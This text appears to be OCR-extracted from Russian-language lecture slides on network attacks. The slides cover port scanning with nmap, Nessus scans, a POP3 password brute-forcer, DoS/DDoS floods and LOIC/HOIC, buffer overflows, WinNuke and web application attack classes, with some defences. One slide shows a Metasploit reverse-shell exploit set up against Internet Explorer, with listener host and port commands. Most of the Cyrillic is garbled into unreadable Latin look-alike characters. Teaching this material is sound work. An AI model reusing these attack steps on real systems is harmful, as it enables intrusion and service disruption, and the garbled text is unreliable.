CraHupoBaHue #ocTa |
MeToa ckaHupoBaHuA
Scan Manager zanywe
Mopr 135 [epmap]
Mopr 139 [netbios-
JaBepleHHe CKaHWpOE
51 nopToB NpocKaHupc
W3 Hux oTkpbmo: 2
Scan Manager zasepuw




SYN-ckaHnpoBaHue

[TopT OTKPBLIT [MopT 3aKpbIT
C-SYN C-SYN
1 : 1 :
S-SYN, C-ACK RST

A

= 2




FIN-ckaHupoBaHue

[MopT OTKpPbIT [MopT 3aKpbIT

FIN FIN

RST

\/

A




XMAS-cKkaHupoBaHue

[TopT OTKPBLIT [MopT 3aKpbIT

URG, PUSH,FIN
1 .

URG, PUSH,FIN

RST

A
O




The FAR manager, version 1.65,. Copyright (C> 19962000 Eugene Roshal
Evaluation copy,. please register.

I :\3anarue Snort\nmap>nmap 10.1.1.189 -v —-sT

Starting Nmap 3.95 ( http://www.insecure.org/nmap 2> at 2007-10-01 22:13 Ekaterin
burg Daylight Time
Initiating Connect{() Scan against 10.1.1.189 [1670 portsl] at 22:13
Connect() Scan Timing: About 9.13% done; ETC: 22:18 (0:04:58 remaining>
Discovered open port 5000/tcp on 10.1.1.189
Discovered open port 135/tcp on 10.1.1.189
The Connect{()> Scan took 336.97s to scan 1670 total ports.
ost 10.1.1.189 appears to be up ... good.
Interesting ports on 10.1.1.189:
ports scanned but not shown below are in state: closed)

STRTE SERVICE

open msrpc
S5000/tcp open UPnP

Nmap finished: 1 IP address {1 host up? scanned in 338.306 seconds
Raw packets sent: 00 (0B> i Rcvd: 0 <{0OB>

I:\3anarue Snort\nmap>_
1 2 3




CKaHMpoBaHWMe  MHCTpyMeHTel  Mpodune  MomMowe

Uene | 10.10.10.50

v | Mpodwmne ‘CkaHupoBaHue]| |OTMeHa

KomaHaa |nmap -sT -p 1-1024 -y 10.10,10.50

XOCThI Cepeucel

OC 4 XocT
< 10.10.10.50

| DUNLTP XOCTOB I

Beieog Nmap l-ﬂDprI { XocTel H -Tononorvm H-ﬂeranm HOCTa H CKaHMpDBaHMB_ :

nmgy -sT o 1-1024 -v 10,.10.10.50

Starting Nmap 5.20 ( http://nmap.org ) at 2010-05-21 14:48 Ypanecroe
BpeMa (JneTo)

Initiating ARP Ping Scan at 14:49

Scanning 10.10.10.50 [1 port]

Completed ARP Ping Scan at 14:49, 0.48s elapsed (1 total hosts)
Initiating Parallel DNS resolution of 1 host. at 14:49

Completed Parallel DNS resolution of 1 host. at 14:49, 0.00s elapsed
Initiating Connect Scan at 14:49

Scanning 10.10.10.50 [1024 ports]

Discovered open port 139/tcp on 10.10.10.50

Discovered open port 445/tcp on 10.10.10.50

Connect Scan Timing: ibout 44.63% done; ETC: 14:50 (0:00:38 remaining)




YcnoXHeHHble aTakum

“= CAYPOH ckaHep noproB

CkaHvpoganne OTt4eT [MoMows

CraHupyembli RocT |192 l188 '200 |2

Crnucok noproe I1 00-150

CraHWpoBaTh | ‘ I

Tun CKAHWPOEBaHWA

(¢ Connect [ ] ckaH

" SYN ckaHupoBaHue
" FIN ckaHupoBaHue
" ACK ckaHupoBaHue
" XMAS ckaHupoBaHue
" NULL ckaHupoBaHue

" UDP ckaHupoBaHue

Bpema 14.07.36

Hacrpo HKa napaMe TpoB CKaHHPpOBaHHA
JlaHHBIE UCTOYHWKE CKEAHUPOBaHUA

NokanebHbIl agpec Im |0 |0

e

JononHureneHele HacTPOMKUH

CropocTb CKaHUPOBaHWA

; - 278552 n/e

DskuaaH1e NoCAE NOCHIKK
Yepes |4 NaKeTos '1_ MC <*>|
v Wcnonb3oBate NpUMaHKK

.[loﬁasmbl Ypanute |

[10.0.0.3 |

v MpukpennsTb AaHHbIE

|7 CnyyaliHble ot Iﬁ_no 100 Gair
[SAYPOH

|2 Onpeaenute NoKanbHLINA l

v Wcnonbzoeate peansHeili |P agpec 4na NnpUBASKU COKETOB

Mopt - ucTouHuk [ CoBnagaeT ¢ NpUEMHUKOM

MakcumaneHoe BpeMa CKaHWpOBaHWA [Mc)
50000

v CnyyaliHoe cKaHWpoBaHWe

v Paztusark Ha IP gararpammbl

Konuuecteo IP aararpamm

3

OskuaaHue nocneaHero PU
[ana UDP ckaHupoBaHua)

{5000

.................................

.................................




BbisBrneHue YASBUMbIX MECT

OCHOBHble MeTOAbI:

= AHanu3 6aHHepPOB CETEBLIX CIYXO
= lAcnonb3oBaHne ckaHepoB 6e30MacHOCTU

= |Acnonb3oBaHue cneuunarnbHbIX MporpamMmm
(B TOM 4ncrne cobcTBeHHOM pa3pabdboTKin)

[Mlporpamma Nessus —

CBOOOHO pacrnpocTpaHseMbIn ckaHep 6e30nacHOCTU
http://www.nessus.org/



CnoJib30BdHW
e30MNaCHOCTUA

Policies

@ Add Policy

o
o
A
L4
o
@
@
@
©
®
@
o
@

AIX Local Security Chacks
Backdoors

CGl abuses

CGl abusas - XS§

CIsco

CentOS Local Security Chacks
DNS

Databases

Debian Local Security Checks
Default Unix Accounts

FTP

Fedora Lot Securily Checks

Finger abuses

Plugin Description

cKaHepa
essus

10020
10108
11

19304
11090
10019

33578

Nessus

Show Ondy Enabled Plugins

* + + ATHO Modem Hang Up Sting Remoate DoS

3Com HIPer Access Router Card (HiperARC) IAC Packet Flood DoS

3com RAS 1500 / Wysa Winterm Malformed Packet Remote DoS

Alegro Sofware RomPager 2 10 Maliormed Authantication Request DoS
AppSocket Hall-apen Connection Remole Do$

Ascend MAX | Pipeline Router Discard Port Malfarmed Padkt DoS

Asterisk 1AX2 (JAX) POKE Request Saturation Rescurce Exhaustion Remoté DoS
Asterizk IAX2 Call Number Exhaustion DoS

Asterisk 1AX2 FWDOWNL Request Spoofing Remota DoS

Asterisk 1AX2 Multiple Mathod Handshake SpooSing DoS

Astarisk Mulipls Channel Drivars Denial of Sarvice (AST-2011-008 | AST-2011-009 | AS
Asterisk Muliple Denial of Service Vulnarabilifes (AST-2011-003AST-2011.004)
Asterisk Muliple Vulnerabilities (AST-201 1-006AST-2011.006)

Asterisk SIP Charnel Driver Denial of Service (AST-2011-007)

tony | Heo | About | L




Pe3ynbTaTthbl CKAHUPOBaHUSA

18600
Nessus renaud | Help | About | Log out

Reports

Lab Vulnerability Summary | Host Summary
Running - Launched: Feb 14, 2012 16:54

Filters NoFilters @ Add Fliter 2 Clear Filters

172.20.10.42 100% 9 75 31 10 46 _- B

172.20.10.39

172.20.10.65

172.20.10.23

172.20.10.16

172.20.10.35

172.20.10.41

172.20.10.38

172.20.10.61

172.20.10.60

172.20.10.225

172.20.10.230

172.20.10.26

172.20.10.100




Pe3ynbTaTthbl CKAHUPOBaHUSA

Nessus

A Nessus admin | Help I About | Log o
Reports

test1 Vulnerability Summary | Host Summary
Running - Launched: Jul 16, 2012 10:31

‘ Filters NoFilters @ Add Fliter L] Clear Filters

Plugin ID Plugin ID: 59784 Port/ Service: general/icp Severity: High
59386 | Plugin Name: USN-1485-1 : accountsservice vulnerability
59396 |

Synopsis: The remote Ubuntu host is missing one or more security-related patches.

59397 T
Description
Florian Weimer discovered that AccountsService incorrectly handled privileges when copying certain files to the system cache

directory.
Alocal attacker could exploit this issue to read arbitrary files, bypassing intended permissions.

59470
59525
59526
59565

Solution
Update the affected package(s).

See Also
http:/iwww.ubuntu.com/usn/usn-1485-1/

Risk Factor: High

Plugin Output
- Installed package : accountsservice_0.6.15-2ubuntu9
Fixed package : accountsservice_0.6.15-2ubuntu9.1

- Installed package : libaccountsservice0_0.6.15-2ubuntu9
Fixed package : libaccountsservice0_0.6.15-2ubuntu9.1

CPE
cpe:lo:canonical:ubuntu_linux

CVE
CVE-2012-2737

Cross-References
USN:1485-1

Patch Publication Date: 2012/06/28

Plugin Publication Date: 2012/06/29

Pluain Last Modification Date: 2012/06/29




[Moadop naponeun K ceteBbIM
pecypcam

[pOp3_fucker]

[pOp3 fucker] v0.6b successefully loaded. Start

B m Results

Clear
Login |dozeq Type of work
"~ | " check alllogins (all passes for 1 login) . Freferences
Pascwords fle E:ANIKOL\words. txt fos . . | s
" check all logins [pass is same as login) =
Server 132.168.200.1 ¢ check one login [with all passes] Exxit

Pot 110 . e . :
| Continue, after finding first working login:pass

0

Timeout, Msec

¢ OK egpply l X Cancel |




[Mloaoop napons K noyTre

&) Onehalf (c) twisted metal hack group A=l
=>POP3 Server

=>Login current_pass _

Found Passwords:

Dictionary [ nss




ATaku Ha OTKa3 B
oocnyXuBaHuu
(Denial-of-Service, DoS)

Llenbto aTaku 9BNsieTcst BbiIBEAEHUE N3 CTPOS
annapaTHoro nnn NporpaMmmHoro
obecneyeHus, NnMbo 3aTpyaHEHMNE
MCNOSIb30BaHUSA €ro 3aKOHHbIMU
nofb3oBaTensamMmm

OCHOBHbIEe MEXaHU3Mbl — nepernoryiHeHne
ovyepenn 3anpocoB Ha coeagnHeHne,
ncyeprnaHme pecypcoB cepBepa Uiin KaHarlla
CBA3U



ATaku Ha OTKa3 B
oocnyXuBaHuu
(Denial-of-Service, DoS)

TCP SYN flood Bpewmsi atak (cpeaHee) 32,2 yaca
ICMP ping flood  O6wem Tpaduka (cpegHuin) 5,9 Mé/c

HTTP flood 80 aHert 19 yacoB 13 MuHyT 05 cekyHa
UDP FIOOd (TYPUCTUYECKMIA CalT)

BepOFITHOCTb NOAKITIOHEHUA YOaNIeEHHOIO MNMosib30BaTeESIA K CepBeEpPY.

P=(NV)T

*MaKkCcuUMaribHOe YNCI0 BO3MOXHbIX coeanHeHnn Ha gaHHom nopty (N);
*KOSTMYECTBO 3aMNpoCoB, reHepupyemblx atakytowmm, 3a 1 cekyHay (V);
*TaM-ayT O4YNCTKM odyepeamn 3anpocos (T)



§ (Dntitied) - Wi 3 Windows XP Professional SP2 (RU) VMY Viewvy & v

File Edit Wew Go Capture Analyze Statistics Help

S DEXEE|lacseonT (BB IRQAQAN #D® %8

Filter: I ¥  Expression... Clear Apply
Mo, Time Source * Destination Protocol Info
- R W PR e e S B A 4 —— e B ek ¢ o8 WA NS LYY e B ke N ) B e W B L1 T T AT S ~ IILBP L_Tl L | —Fh\ﬂ - Y
52846 5.365356 162.217.101.139 152.168.10.3 TCP isis-ambc > http [SYN] Seq=0 wit
52844 5.365216 152.217.101.138 192.168.10.3 TCP isis-ambc > http [SYN] Seq=0 wir
52843 5.3650594 152.217.101.137 152.168.10.3 TCP isis-ambc > http [SYN] Seq=0 wit
52842 5.365066 162.217.101.136 152.168.10.3 TCP isis-ambc > http [SYN] Seq=0 wit
52841 5.364814 162.217.101.135 152.168.10.3 TCP isis-ambc > http [SYN] Seq=0 wit
52840 5.364550 192.217.101.134 192.168.10.3 TCP isis-ambc > http [SYN] Seg=0 wit
52839 5.364360 152.217.101.133 152.168.10.3 TCP isis-ambc > http [SYN] Seqg=0 wit
52838 5.364351 192.217.101.132 152.168.10.3 TCP isis-ambc > http [SYN] Seq=0 wit
52837 5.364030 162.217.101.131 152.168.10.3 TCP isis-ambc > http [SYN] Seg=0 Wit
52836 5.363995 1562.217.101.130 192.168.10.3 TCP isis-ambc > http [SYN] Seg=0 wit
52719 5.344685 152.217.101.13 152.168.10.3 TCP isis-ambc > http [SYN] Seq=0 wit
52835 5.363747 162.217.101.129 152.168.10.3 TCP isis-ambc > http [SYN] Seq=0 wit
52834 5.363730 162.217.101.128 152.168.10.3 TCP isis-ambc > http [SYN] Seq=0 wit
52833 5.363474 162.217.101.127 152.168.10.3 TCP isis-ambc > http [SYN] Seg=0 wit
52832 5.363236 152.217.101.126 152.168.10.3 TCP isis-ambc > http [SYN] Seqg=0 wit
52831 5.363232 162.217.101.125 152.168.10.3 TCP isis-ambc > http [SYN] Seq=0 wit
52830 5.363224 162.217.101.124 152.168.10.3 TCP isis-ambc > http [SYN] Seg=0 Wit
C292N & 2ADITAN S i & o e A R e i e TN 1A 1N 2 TN Sede ambhies s ittt Townll cam—nN WSy

[+

Frame 51874 (60 bytes on wire, 60 bytes captured)
Ethernet II, Src: vmware_43:59:12 (00:0¢:29:43:59:12), Dst: vmware_f7:34:a2 (00:0¢:29:f7:34:a2)
Internet Protocol, Src: 192.217.99.99 (192.217.99.99), Dst: 192.168.10.3 (192.168.10.3)
Transmission Control Protocol, Src Port: isis-ambc (1643), Dst Port: http (80), sSeqg: 0, Len: O
Source port: isis-ambc (1643)
Destination port: http (80)
Sequence number: 0 (relative sequence number)
Acknowledgment number: Broken TCP. The acknowledge field is nonzero while the ACK flag is not set
Header Tength: 20 hytes
Flags: 0x02 (SYN)

window size: 5840
# Checksum: 0x9lde [correct]



o CHWINDDWS \ system32'\cmd.exe

C:\Documents and Settings\AamuHucTparop’>netstat —aon

igKTMBHbIe NnNoAKAKYEHUA
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TCP
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192.216.246 .183:1643
192.216.246.184:1643
192.216.246.185:1643
192.216.246 .186:1643
192.216.246.187:1643
192.216.246.188:1643
192.216.246 .189:1643
192.216.246 .190:1643
192.216.246.191:1643
192.216.246.192:1643
192.216.246.193:1643
192.216.246.194:1643
192.216.246.195:1643
192.216.246 .196:1643
192.216.246 .197:1643
192.216.246.198:1643
192.216.246.199:1643
192.216.246 .200:1643
192.216.246.201:1643
192.216.246.202:1643
192.216.246 .203:1643
192.216.246.204:1643
192.216.246.205:1643
192.216.246 .206:1643
192.216.246 .207:1643
192.216.246.208:1643
192.216.246.209:1643
192.216.246 .210:1643
192.216.246.211:1643
192.216.246.212:1643
192.216.246.213:1643
192.216.246 .235:1643
192.216.246.236:1643
192.216.246.237:1643
192.216.246 .238:1643
192.216.246.239:1643
192.216.246.240:1643
192.216.246 .241:1643
192.216.246.242:1643
192.216.246.243:1643
192.216.246 .244:1643
192.216.246 .245:1643
192.216.246.246:1643
192.216.246.247:164
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‘ \&/ MNpobnema npu 3arpyske cTpaHuybl - Mozilla Frefox ¥ @ X

®ain [OpasBka BuAa XypHan 3aknagku WHcTpymeHThl Cnpaeka ﬁa

a«ad -2 8 IAﬁlhttp://192.168.10.3/ z

£\ Npobnema npu 3arpyake cTpaH... I % 'Y m o~

A MonbiTKa coOeAMHEeHMNS He yaAanachb

Firefox He MoXeT ycTaHOBUTb coefimHeHue c cepeepom 192.168.10.3.

» BO3MO>KHO, CaiiT BpeMeHHO HeA4OCTYNeH U Neperpy>KeH sanpocamMu,
MopoXkanTe HeKoTopoe BpemMs 1 NonpobyinTe cHoBa.

® ECnn Bbl HE MOXKETE 3arpy3nTb HA 04HY CTpaHuLy - NpoBepbTe
HacTPOWKKN coeanHeHWsa ¢ VIHTepHeToM.

= ECnun Baw KOMMbIOTEP WA CeThb 3allylieHbl MeXXceTeBblM 3KpaHoM nin
npokcu-cepeepomM - ybeamtech, 4To Firefox paspeweéH seixod B
MNHTepHeT.

MonpoboeaTk cHoBa




Low/High Orbit lon Cannon

Hu3ko/Bbicoko-opbumarnbHas NoHHas lywka

e L(H)OIC — «cemencrtso nporpamm, akTUBHO
ncrnosnb3yembix Ans ocywlecterneHna DDoS-
aTak B pasnyHbIX MHTEPHET-BONHAX»

IN GEOSYNCHONOUS OREIT

HIGH ORBIT ION CANNON
STANDING BY THREADS OUTPUT TARGETS

HIGH ODRBIT — - S
ION CANNON FIRE TEH LAZER! e i

249 CANNONS DETECTED




e Q: Yto OyneT 3a
Mcnonb30BaHUe
LOIC/HOIC?

A partyvan n Hebo
yepes peLleTKy



artyvan Russian Edition
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Land - IP-naker,
HanpaBJ/ieHHbIX caM Ha cebSs

Mo, Time Source © Destination Protocal Info

2pmap > 2pmap [ SY Sef=0 wWin

+ |

Frame 1 (60 hytes on wire, 60 bytes captured)
Ethernet II, src: vmware_f7:34:a2 (00:0c:29:f7:34:a2), Dst: vmware_f7:34:a2 (00:0c:29:f7:34:a2)
Internet Protocol, Src: 192.168.10.3 (192.168.10.3), Dst: 192.168.10.3 (192.168.10.3)
Transmission Control Protocol, Src Port: epmap (135), Dst Port: epmap (135), Seq: 0, Len: O
Source port: epmap (135)
Destination port: epmap (135)
Sequence number: 0 (relative sequence number)
Acknowledgment number: Broken TCP. The acknowledge field is nonzero while the ACK flag is not set
Header length: 20 bhytes
# Flags: 0x02 (SYN)
window size: 5840
# Checksum: 0Oxfllc [correct]
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Mo wireshark-s...
AOKYMEHTEI
™
MMoi
KOMNEHOTER
‘ﬁ E Avcneryep 3aga4 Windows
g
@@ daiin MapameTpel Bua  3asepwenwe paboTel  Cnpaeka
CeTesoe =
OKPY3HEHHE MprnoKEHHA I Mpoueccel : BEICTROABHCTEHME i CeTh I Monb3oBaTenm I
v IE 3arpyska LN XpoHONoOrKA arpysku LIN
KopsuHa EservEprox...
/o 5 =
7 Dakn NoAKa4KH ¥POHONOrMA MCNONB30BaHMA dakina Nos
Internet
Explorer \
2|
‘Wireshark Bcero Dusk4eckan namate (KE)
AECKpUNTOpOoB Bcero 130544

IWINDOWS|system32. .. I @ Eserv/Eproxy control l

MoTokoe
Mpougccos

Boiaenerme namatv (KE)

Becero 501400
Mpeaen 593124
M1k 695580

Mpoueccos: 25 Sarpyska LN: 0% Bolaeneqne namaTk: SO1400KE6 [ 6

[ (Untitled) - Wireshark |

AocTynHo 86500
CHCTEMHBIN K3l 23616

Bbirpyxaeman
HeBbirpykaeman




ATaku Ha OTKa3 B
oocnyXuBaHuu
(Denial-of-Service, DoS)

B Tom cny4ae, korga atakyrouwmx y3roB MHOMo, aTaku
Ha3blBaloTCA «pacnpeneneHHbiMn» (Distributed DoS, DDoS)

ATtakyowunn # Uununarop ataku!

maBHas Lwenb — NOMUCK MHMLMATOpA.

BmecTe ¢ TeM, ycTpaHeHMe MHULMATOpa aTaku
He Bcerga NpuBOAMUT K ee NpeKpaLLeHuIo,

TaK Kak MexaHU3M aTaKu yXKe 3anyLueH.




ATaku Ha OTKa3 B
oocnyXuBaHuu
(Denial-of-Service, DoS)

ATaKn Ha 0TKa3 B 0bcnyxuBaHum oyayT
aKTyanbHbl BCerga, Tak kKak 00 beKToM aTaku
ABNSeTCcA Da3oBaa apxXUTEKTypa CETEBbIX
NPUNOXEHUN (KKITMEHT-CEPBEP»)

3awmnTa oT DoS-atak — BbigBneHue
MCTOYHWKOB aTakn 1N nx 6roknpoBaHue C
MCMOJS1Ib30BaHNEM MEXCETEBOIO 3KpaHa, nNmbo
yCTaHOBKa CUCTEMbI ODHapyXeHUs aTtak



ATaKuy Ha OTKa3 B
oocnyXuBaHuu

(Denial-of-SeNge, DoS)




DDoS ataka — 3TO KOMNbIOTEpPHOE
npecTynrieHne no KomouHaumm
272 n 273 cTaTbMm

e YLIEpPO oT npocToa (HenpoBeOeHHbIE onepaunm -
cpeaHee KONMYecTBo onepaLun * CTOMMOCTb OOHOM
onepauun)

o Onnarta Tpaduka (cyet Ha onnaty ycnyr ISP un
getanmsauuna Tpaduka B MoMeHT DDoS aTtaku)

o BbinageHne canta n3 pentmHra NONCKOBbLIX CUCTEM
(goroeop ¢ SEO-komnaHnen n pacueHka)

o PenytaunoHHbIN yuiepb



HdokymeHTUpoBaHue DDoS

Bpema ataku, |P agpec pecypca n IP agpec
aTakywoLwen 6oT-cetu

dparmeHT BpegoHOCHOro ceTeBoro Tpaduka (gamn)

HoTapunanbHo 3aBepeHHyto WEB-cTpaHuuy B
MOMEHT aTaku ¢ nognmcbeto «Pecypc 3abrnokupoBaH
B pe3ynerate DDoS atakun. Bpemda. [lata»

XypHarnbl cobbitnn (COA, M3, Web-cepsepbl)

dakT obHapyXeHns aTtakn (cnyxebHas 3anucka ot
MMEHUN TEXHMYECKOro crieunanucra)

[Tncbmo oT NHTepHeT-npoBangepa ob obHapyxeHnu
DDoS artaku

Pasmep ywepba



ATaku Ha onepauuoOHHbIe

cuctembl 1 npuknagHoe MO

Llenb atakn MoxeT ObiTb NPOU3BONLHOMN,
Ha4yMHasi ¢ BbIBEOEHUSI U3 CTPos paboyen
CcTaHUMK1, 3aKaH4YMBas NonHbIM 3axBaToM
KOHTpONS

Hag cepBepoM Ans Nony4YyeHns gocTyna
K KOHQOMAeHUnanbLHOU MHopmMauum

OCHOBHbIE MEXaHN3Mbl — UCMOSb30BaHNE
YA3BUMOCTEN NporpamMmmHoro obecnevyeHus
" olwmnboK ero KoHdurypauum



ATaku Ha onepauuoOHHbIe
cuctembl 1 npuknagHoe MO

HabntogaeTtca pocT Konmdectea YA3BMMOCTEN
B KITMEHTCKOM nporpaMmmHomM obecnevyeHum
(BeD-bpay3epbl, Megna-npourpeiBaTenn 1 np.)

CnencrtBud:

= ATaKu CTaHOBSTCH npenmyLLecTBeHHO
MNaCCUBHbIMHA

= TpebyeTtca nonHomMmaclwiTabHas 3awmra He
TONbLKO CEPBEPOB, HO N BCEX PAabOYMX CTaHL NN

= HeobxoomMmMocTb 0by4YeHUsI Nosib3oBaTESNEN



[MepenonHeHue 6ydepa
(buffer overflow)

Camag pacnpocTtpaHeHHast ya3BUMOCTb,
npuBoASLLAaA K BO3MOXHOCTM 3anycka Ha
aTakoBaHHOM KOMMbOTEPE
NPOM3BONbHOIO NMPOrpaMmMHOro Koga

[TpnynHa BO3HMKHOBEHUA — OTCYTCTBUE
KOHTPOMNA pa3sMepHOCTU BXOAHbIX
OAHHbIX (YS3BMMOCTb peann3auunn)



[MepenonHeHue 6ydepa

(buffer overflow)

n>1281

{

func(char *p, int n)

inti;

char a[128];

\

PocT 6ycpepa

Ctek

FFFF

memcpy(a,p,n);

Koa dyHKUnn

e)NOLD 190d




Peanu3auuun atak

l‘ File Search Yiew Tools Settings Rules Help

| O|@W-0 -

IP Statistics 0 Packets | Logging | $b Rules |

¢ WinnukeV95

WinNuke V95
(1997 BurntBogus of the Den

Greets to Hound Dog
NUKE IP ADDRESS

|192.168.200.2

NUKE WITH MESSAGE

l

Nuke ME 35

No | Protocal | MAC Addr... | IP Addresses | Parts
D2:02:02:... 192.168.200.1 => 192.168.200.2 40 => 139
e IP;"TCP 0z2:08:02:... 192.168.200.1 <= 192,168.200.2 40 == 139 o DU LE o, De.a0,
=] IP/TCP 02:08:02:.. 192.168.200.1 == 192,168.200.2 40 == 139 @y Ethertype: 0x0800 {
10 IP/TCP 02:08:02:.. 192.168.200.1 == 192,168.200.2 40 == 139 - P Direction: Out
11 IPAUDP  00:08:02:... 192.168.200.2 <=> 192,168.200.255 138 <=> 138 225 Time / Delta Time:
12 IPAUDP  02:08:02:... 192.168.200.1 == 192,168.200.255 137 => 137 16::. Frame size: 309 byt
13 IPAUDP  02:08:02:... 192.168.200.1 == 192,168.200.255 137 == 137 e g |= P
14 PAINE  A2N2N7: 102 162 2NN 1 —% 1072 1642 2NN 2955 197 =% 137 n Sl T
0x0000 00 08 D02 B7 CD C3 02 08-02 BS5 FS A0 08 00 45 00 SNEWE L |  [  oriee iRl %.TCP. .
X . — | #-Session Service
0x0010 01 27 0B 24 40 00 80 06-DD 51 CO A8 C8 01 CO A8 L% LB BQAEM. AE
0Ox00z0 C8 02 00 28 00 8B 12 DE-83 C6 2E 4E FF AA 50 38 M..(.¢ .HhK.NaEP3s
0x0030 FA FO 35 54 00 FF 00 0O0-00 OO 50 F8 12 00 D3 FE p5Z.4....Pw..¥o
0x0040 40 00 Ak 0OA 01 60 56 04-54 00 C8 91 41 00 S0 FE ... V. T.M*A.50
Ox0050 12 00 AX OA 01 60 D3 FE-40 00 AA OA 01 60 56 04 BRI FIoRA e AN
Ox0060 54 00 C8 91 41 00 90 FE-12 00 Ah OA 01 60 FF FF T.M*A.fw. .E.. aa
O0x0070 00 00 38 F8 12 00 8C Fa-12 00 A7 6C D4 77 AlX 0OA . 5w, BB, .51%WE.
Ox0080 01 60 00 OO0 OO OO OO OO-00 DO 38 F8 12 00 0OA OO % e e Sw. ...
O0x0020 00 00 Ax 0OA 01 60 00 O0-00 OO BO 1B C7 77 E4 0D PO A PR L) 510
Ox00A0 42 00 56 00 10 01 B2 F9-40 00 D4 F8 12 00 54 FE B.V...Iu@.%w..To
Ox00EBO 40 00O FF FF FF FF 74 F8-12 00 50 FB 40 00 35 01 @.aaaatw. .Pul@.5.
Ox00COo 00 0O A OA O1 60 56 04-54 00 70 F8 12 00 35 01 AEN T EARRT R I ) | (R 3
0Ox00DOo 00 0O 90 FE 12 00 56 00-10 01 EO F8 12 00 DO E9 ..ho..V...aw. .Px
O0x00EOD 40 00 35 01 00 DO AA OA-D1 60 56 04 54 00 70 F9 B.5...B.."V.T.pm « S—v“, >
< 3 KBNS
Epture: Off  Pkts: 1075 in,l‘ 1227 out | 6 pass ‘Auto-saving: OFf Rules: OFf 3% CPU Usage




Metasploit Framework

Exploit:
optional
optional

Description
External address to use for redirects
The local HTITP listener host

REALHOST (NAT>

HTTPHOST

required
Payload:
required

required
required

HTTPPORT

EXITFUNC
LHOST
LPORT

8080
Default
thread
4321

The local HTTP listener port

Description

Exit technique:
Local address to receive connection
Local port to receive connection

"process’

’
»

“"thread".

"Se}]"

Target: Automatic — Windows XP / Windows 2003 / Windows Uista

set HTTPHOST 192.168.10.100
set HTITPPORT 80

set LHOST 192.168.10.100

sf ie_xp_pfv_metafile{(win32_reverse) >
TTPHOST —> 192.168.10.100

sf ie_xp_pfv_metafile{(win32_reverse) >
TTPPORT —> 80

sf ie_xp_pfv_metafile{(win32_reverse) >
HOST —-> 192.168.10.100

sf ie_xp_pfu_metafile{win32_reverse
[*] Starting Reverse Handler.

[*] Waiting for connections to http://192.168.10.100:80/

exploit




CnocoObI 3aWUThbI

e ASLR
e Runtime Environment

* /Icnonb3oBaHue
«Bbe3onacHbIX» PYHKUNN AN
PaboTbl C NAMATbIO
(Hanpumep, memcpy_s
BMECTO memcpy )



Time

ASLR - Address Space Layout

Stack

Library
code

Heap

Program
code

Output

Randomization

Stack

Program
code

Heap

Library
code

Output

Stack

Library
code

Program
code

Heap

Rerandomize

Rerandomize

[lepe3anyck

npuine

eHNA



3anpeT py4YyHoro ynpaBneHus
NamMATbIO

[1na HanucaHna NPUNOXeHUN MPUMEHSATCA
A3bIKM NporpamMMmpoBaHnA, B COCTaB KOTOPbIX

BXOAUT «BUpTYyanbHas MaLlMHay,
peanuayrouias MEXaHN3M ynpasneHus
NamsAThIHO.

1) Java

2) C#

3) WnTepnpetupyemblie All



Yazpumoct Web-
NPUNOXEHUU



Beb-cepBep

Beb-cepep — cepep, npuHumatowmn HTTP-3anpocbl oT Be6-
bpaysepoB, u Bblgawowmn um HTTP-otBeTbl (HTML-cTpaHuua,
n3obpaxeHue, hann, megna-rnoTok ...)

HTTP (cokp. ot anrmn. HyperText Transfer Protocol — «npoTokon
nepenaduv runepTekcrar)

HTML (ot anrn. HyperText Markup Language — «43blk pasmeTKu
rmnepTekcTar)
HTML-gokymeHTbl cogepXaT cneuuanbHble komaHabl — T3IIW,

KOTOpble yKa3blBaloT npasuna dopmMaTupoBaHms JOKYMeHTa

GET — www.site.com/path/source.php?param1=value1&param2=value2
POST - www.site.com/path/login.php  dopma 3anpoca



Beb-npunoxeHus

Beb-npunoxenua (web-applications) —
nporpammbl, NpegHa3Ha4YeHHble Ons
OTOOpaXeHnst cogepXMmoro Beo-
CTpaHuy n o6paboTKn AaHHbIX,
norny4yaemblX OT Mosib3oBaTens Be0-
pecypca.

O4eHb YacTo BED-NPUNOXEHUSA
npeacTaBnaT cobon nporpamMmmHbIn
nHTepdenc mexay sed-cantom n CYB/I.



PacwupeHune KnuneHT-cepBep OnucaHune

.htm, .html, or .html4 KnueHT HTML

.dhtml KnueHT Dynamic HTML

xml Knunent Extensible markup
language (XML)

Js KnueHT-cepBep JavaScript

Xhtml KnuneHT HTML combined with XML

.asp cepBep Active Server Pages (ASP)

.php, .php3, or .phtml cepBep Personal Home Page
(PHP)

.cfm cepBep ColdFusion

.pl cepBep Perl

.Cgi or cgi-bin cepBep Common Gateway
Interface

Jsp cepBep Java Server Pages

Py cepBep Python




ATaku Ha BeO-npunoXxeHus

Llenun aTtak:

= lcnonb3oBaHue Beb-pecypca OT MMeHI
3aKOHHOrO MoJsib3oBaTens

= [logmeHa cogepXMmMmoro Bed-cTpaHuL bl

= OpraHusauusa atak Ha OC n 0O
nonb3oBaTerien Beb-pecypca

= [lonyyeHune goctyna K
KOHpnaeHunansHon nHdpopmalmnm




ATaku Ha BeO-npunoXxeHus

[lpynHa BO3HUKHOBEHUSA YA3BUMOCTEN —
OTCYTCTBME MPOBEPKN UNN HEKOPPEKTHAS
NpoBepKa BBOAMMBbIX NOMb30BaTeNeM BeD-
pecypca [daHHbIX (OWKNBKN NPOEKTUPO-
BaHNA U peanunsauun)

MHCTpyMeHTbI BBOAA:

= /IHTepaKTUBHbIE POPMbI
= AJpecHasa CTpoka



ATaku Ha BeO-npunoXxeHus

ba3oBble NCNOoJib3dyeMble YA3IBUMOCTM.

= Cross-site scripting (XSS)

= SQL Injection

= File Inclusion

= Cross-site request forgery (CSRF)
= Path Traversal

= Command Injection



CROSS-SITE SCRIPTING (XSS)

OunHamunyeckn reHepupyemas Beb-cTpaHuLa 6e3
npenBapuTENbHON NPOBEPKM OTOOpaXKaeT AaHHbIE,
BBEEHHbIE MONb30BaTENEM.

[To3BONsAET BHEAPUTL B rEHEPUPYEMYIO CTPAHULLY
BPEOOHOCHbLIN CLeHapu Ha A3blke JavaScript, KOTopbIn
3arem OyaeT BhINoSHEH Dpay3epoMm rnorib3oBaTens.

ATaKyloLWNN MOXET nepexsaTtbiBaTb KOHOUAEHUNASTTBHYIO
NHdopmMaLuto, dpannel cookie, cosgaBaTb 3anpochl,
KOTOpble NpUHNUMAKOTCA BED-CepBEPOM 3a 3anpochl
3aKOHHbIX NOSib30BaTENEN, a TaKKe BbIMOMHATb
BpPEeOHOCHbIN KO B KOHTEKCTE BeDO-Opay3epa.



"MexxcantoBoe BbINOSIHEHME cUueHapueB"

YassnmocTtb Cross-Site Scripting (XSS) cBsizaHa ¢ BO3MOXXHOCTLHO
